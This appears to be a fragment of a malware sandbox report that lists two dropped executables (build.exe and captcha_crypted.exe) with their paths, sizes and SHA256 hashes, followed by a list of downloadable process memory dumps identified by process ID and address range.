                                                                                                                                                                                                                                                            build.exe
                                                                                                                                                                                                                                                            • Path C:\Users\Public\build.exe
                                                                                                                                                                                                                                                            • Size 345KB
                                                                                                                                                                                                                                                            • SHA256 52574030ace48ad2c2064eb8c4f9b86b3304a0316df285770ab87e1e6dd131d0
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            captcha_crypted.exe
                                                                                                                                                                                                                                                            • Path C:\Users\Public\captcha_crypted.exe
                                                                                                                                                                                                                                                            • Size 244KB
                                                                                                                                                                                                                                                            • SHA256 4507e5555c0272ffcd2a0493e6222126d9e1b37a9297300588f0a56c227bcc28
                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                            memory/640-516-0x0000000000430000-0x00000000005D5000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-350-0x0000021D4FFF0000-0x0000021D5000C000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-353-0x0000021D50100000-0x0000021D5011C000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-356-0x0000021D50140000-0x0000021D5015A000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-409-0x0000021D36F30000-0x0000021D379F2000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-357-0x0000021D500F0000-0x0000021D500F8000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-343-0x0000021D4FD60000-0x0000021D4FD82000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-358-0x0000021D50120000-0x0000021D50126000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-381-0x0000021D36F30000-0x0000021D379F2000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-404-0x0000021D36F30000-0x0000021D379F2000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-351-0x0000021D50010000-0x0000021D500C3000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-355-0x0000021D500E0000-0x0000021D500EA000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-352-0x0000021D500D0000-0x0000021D500DA000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/956-359-0x0000021D50130000-0x0000021D5013A000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/1188-412-0x0000000000FB0000-0x0000000001155000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/1444-385-0x0000000000FB0000-0x0000000001155000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/1940-382-0x0000000000B30000-0x0000000000CE6000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2236-656-0x000002D162B60000-0x000002D162B80000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2236-654-0x000002D262C40000-0x000002D262C60000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2236-732-0x000002D264980000-0x000002D264A80000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2236-614-0x000002D140590000-0x000002D140690000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2468-931-0x00007FF826420000-0x00007FF826629000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2932-1129-0x0000000000B30000-0x0000000000CE6000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/2932-384-0x0000000000B30000-0x0000000000CE6000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4160-932-0x00007FF826420000-0x00007FF826629000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4488-387-0x0000000000FB0000-0x0000000001155000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4676-926-0x00000000003D0000-0x0000000000575000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4832-1220-0x0000000000430000-0x00000000005D5000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4832-1136-0x0000000000430000-0x00000000005D5000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/4832-517-0x0000000000430000-0x00000000005D5000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5132-941-0x00000000003D0000-0x0000000000575000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5132-1130-0x00000000003D0000-0x0000000000575000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5148-923-0x00007FF739110000-0x00007FF73911F000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5148-852-0x00007FF826420000-0x00007FF826629000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5512-1015-0x0000000002B80000-0x0000000002B86000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5512-1014-0x0000000002B80000-0x0000000002B86000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/5944-892-0x00000000003D0000-0x0000000000575000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/6208-1064-0x0000000002E30000-0x0000000002E36000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/6520-974-0x00007FF826420000-0x00007FF826629000-memory.dmp
                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                            memory/6656-1062-0x00000000003D0000-0x0000000000575000-memory.dmp
                                                                                                                                                                                                                                                            Download